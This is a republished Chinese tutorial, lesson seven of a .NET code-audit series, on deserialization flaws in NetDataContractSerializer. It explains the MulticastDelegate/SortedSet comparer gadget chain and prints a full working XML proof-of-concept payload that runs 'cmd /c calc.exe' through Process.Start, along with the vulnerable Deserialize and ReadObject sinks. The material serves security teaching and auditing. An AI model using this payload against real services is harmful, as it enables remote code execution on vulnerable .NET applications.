.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

栏目: 编程语言 · 发布时间: 5年前

一、前言

NetDataContractSerializer 和DataContractSerializer一样用于序列化和反序列化Windows Communication Foundation (WCF) 消息中发送的数据。两者 之间存在一个重要区别:NetDataContractSerializer 包含了CLR,通过CLR类型添加额外信息并保存引用来支持类型精确,而DataContractSerializer 则不包含。 因此,只有在序列化和反序列化端使用相同的 CLR 类型时,才能使用 NetDataContractSerializer。若要序列化对象使用 WriteObject或者Serialize方法,若要反序列化 XML流使用 ReadObject 或者 Deserialize 方法。 在某些场景下读取了恶意的XML流就会造成反序列化漏洞,从而实现远程RCE攻击,本文笔者从原理和代码审计的视角做了相关介绍和复现。

二、序列化

使用WriteObject或者Serialize可以非常方便的实现.NET对象与XML数据之间的转化,注意NetDataContractSerializer包含了程序集的名字和被序列化类型的类型。这些额外信息可以用来将XML反序列化成特殊类型,允许相同类型可以在客户端和服务端同时使用。另外的信息是z:Id属性在不同的元素上意义是不同的。这个用来处理引用类型以及当XML被反序列化时是否引用可以保留,最后的结论是这个输出相比DataContractSerializer的输出包含了更多信息。下面通过一个实例来说明问题,首先定义TestClass对象

.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

定义了三个成员,并实现了一个静态方法ClassMethod启动进程。 序列化通过创建对象实例分别给成员赋值

.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

笔者使用Serialize得到序列化TestClass类后的xml数据

< TestClass z:Id = "1" z:Type = "WpfApp1.TestClass" z:Assembly = "WpfApp1,Version=1.0.0.0, Culture=neutral, PublicKeyToken=null" xmlns = "http://schemas.datacontract.org/2004/07/WpfApp1" xmlns:i = "http://www.w3.org/2001/XMLSchema-instance" xmlns:z = "http://schemas.microsoft.com/2003/10/Serialization/" >< age >18 age >< classname z:Id = "2" >360 classname >< name z:Id = "3" >Ivan1ee name > TestClass >

三、反序列化

3.1、反序列化用法

NetDataContractSerializer类反序列过程是将XML流转换为对象,通过创建一个新对象的方式调用ReadObject多个重载方法或Serialize方法实现的,查看定义得知继承自 XmlObjectSerializer 抽象类、 IFormatter 接口

.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

NetDataContractSerializer类实现了XmlObjectSerializer抽象类中的WriteObject、ReadObject方法,也实现了IFormatter中定义的方法。

.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

笔者通过创建新对象的方式调用Deserialize方法实现的 具体实现代码可参考以下

.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

其实在Deserialize方法内也是调用了ReadObject方法反序列化的

.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

反序列化后得到对象的属性,打印输出当前成员Name的值

.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

3.2、攻击向量—MulticastDelegate

多路广播委托(MulticastDelegate)继承自 Delegate,其调用列表中可以拥有多个元素的委托,实际上所有委托类型都派生自MulticastDelegate。MulticastDelegate类的_invocationList字段在构造委托链时会引用委托数组,但为了取得对委托链更多的控制就得使用GetInvocationList方法,它是具有一个带有链接的委托列表,在对委托实例进行调用的时候,将按列表中的委托顺序进行同步调用,那么如何将calc.exe添加到GetInvocationList列表方法?首先先看Comparison类,它用于位于命令空间System.Collections.Generic,定义如下

.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

Comparison类返回委托,再使用Delegate或者MulticastDelegate类的公共静态方法Combine将委托添加到链中作为Comparison的类型比较器

使用Comparer的静态方法Create创建比较器,比较器对象在.NET集合类中使用的频率较多,也具备了定制的反序列化功能,这里选择SortedSet类,在反序列化的时内部Comparer对象重构了集合的排序。

.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组,让它的每个元素都引用链中的一个委托,然后返回对该数组的引用,下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。

.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

最后传入攻击载荷后得到完整序列化后的poc,如下

.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

四、代码审计

4.1、Deserialize

从代码审计的角度只需找到可控的Path路径就可以被反序列化,例如以下场景:

.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

4.2、ReadObject

.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

上面两种方式都是很常见的,需要重点关注。

五、复盘

1.    代码中实现读取本地文件内容

.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

2.    传递poc xml,弹出计算器网页返回200

< ArrayOfstring z:Id = "1" z:Type = "System.Collections.Generic.SortedSet`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]" z:Assembly = "System,Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns = "http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i = "http://www.w3.org/2001/XMLSchema-instance" xmlns:x = "http://www.w3.org/2001/XMLSchema" xmlns:z = "http://schemas.microsoft.com/2003/10/Serialization/" >< Count z:Id = "2" z:Type = "System.Int32" z:Assembly = "0" xmlns = "" >2 Count >< Comparer z:Id = "3" z:Type = "System.Collections.Generic.ComparisonComparer`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]]" z:Assembly = "0" xmlns = "" >< _comparison z:Id = "4" z:FactoryType = "a:DelegateSerializationHolder" z:Type = "System.DelegateSerializationHolder" z:Assembly = "0" xmlns = "http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a = "http://schemas.datacontract.org/2004/07/System" >< Delegate z:Id = "5" z:Type = "System.DelegateSerializationHolder+DelegateEntry" z:Assembly = "0" xmlns = "" >< a:assembly z:Id = "6" >mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089 a:assembly >< a:delegateEntry z:Id = "7" >< a:assembly z:Ref = "6" i:nil = "true" />< a:delegateEntry i:nil = "true" />< a:methodName z:Id = "8" >Compare a:methodName >< a:target i:nil = "true" />< a:targetTypeAssembly z:Ref = "6" i:nil = "true" />< a:targetTypeName z:Id = "9" >System.String a:targetTypeName >< a:type z:Id = "10" >System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > a:delegateEntry >< a:methodName z:Id = "11" >Start a:methodName >< a:target i:nil = "true" />< a:targetTypeAssembly z:Id = "12" >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089 a:targetTypeAssembly >< a:targetTypeName z:Id = "13" >System.Diagnostics.Process a:targetTypeName >< a:type z:Id = "14" >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > Delegate >< method0 z:Id = "15" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0" xmlns = "" xmlns:b = "http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "11" i:nil = "true" />< AssemblyName z:Ref = "12" i:nil = "true" />< ClassName z:Ref = "13" i:nil = "true" />< Signature z:Id = "16" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.Process Start(System.String,System.String) Signature >< Signature2 z:Id = "17" z:Type = "System.String" z:Assembly = "0" >System.Diagnostics.ProcessStart(System.String, System.String) Signature2 >< MemberType z:Id = "18" z:Type = "System.Int32" z:Assembly = "0" >8 MemberType >< GenericArguments i:nil = "true" /> method0 >< method1 z:Id = "19" z:FactoryType = "b:MemberInfoSerializationHolder" z:Type = "System.Reflection.MemberInfoSerializationHolder" z:Assembly = "0" xmlns = "" xmlns:b = "http://schemas.datacontract.org/2004/07/System.Reflection" >< Name z:Ref = "8" i:nil = "true" />< AssemblyName z:Ref = "6" i:nil = "true" />< ClassName z:Ref = "9" i:nil = "true" />< Signature z:Id = "20" z:Type = "System.String" z:Assembly = "0" >Int32 Compare(System.String, System.String) Signature >< Signature2 z:Id = "21" z:Type = "System.String" z:Assembly = "0" >System.Int32 Compare(System.String,System.String) Signature2 >< MemberType z:Id = "22" z:Type = "System.Int32" z:Assembly = "0" >8 MemberType >< GenericArguments i:nil = "true" /> method1 > _comparison > Comparer >< Version z:Id = "23" z:Type = "System.Int32" z:Assembly = "0" xmlns = "" >2 Version >< Items z:Id = "24" z:Type = "System.String[]" z:Assembly = "0" z:Size = "2" xmlns = "" >< string z:Id = "25" xmlns = "http://schemas.microsoft.com/2003/10/Serialization/Arrays" >/c calc.exe string >< string z:Id = "26" xmlns = "http://schemas.microsoft.com/2003/10/Serialization/Arrays" >cmd string > Items > ArrayOfstring >

最后配上动态图演示

.NET高级代码审计(第七课) NetDataContractSerializer反序列化漏洞

六、总结

NetDataContractSerializer序列化功能输出的信息更多,因为性能等原因不及DataContractSerializer,所以在WCF开发中用的场景并不太多,但是因为它无需传入类型解析器所以相对来说更容易触发反序列化漏洞。最后.NET反序列化系列课程笔者会同步到 https://github.com/Ivan1ee/ https://ivan1ee.gitbook.io/ ,后续笔者将陆续推出高质量的.NET反序列化漏洞文章,欢迎大伙持续关注,交流,更多的.NET安全和技巧可关注实验室公众号。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

界面设计模式

界面设计模式

Jenifer Tidwell / 东南大学,O‘Reilly / 2011-5 / 99.00元

尽管目前已经存在了各种各样的用户界面设计工具,设计良好的应用界面仍然不是一件容易的事情。这本畅销书是极少数可以信赖的资料,它能帮助你走出设计选项的迷宫。通过把捕捉到的最佳实践和重用思想体现为设计模式,《界面设计模式》提供了针对常见设计问题的解决方案,这些方案可以被裁减以适用于你的具体情况。本修订版包括了手机应用和社交媒体的模式,以及web应用和桌面软件。每个模式包含了用全彩方式展现的运用技巧,以及......一起来看看 《界面设计模式》 这本书的介绍吧!

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器

html转js在线工具
html转js在线工具

html转js在线工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换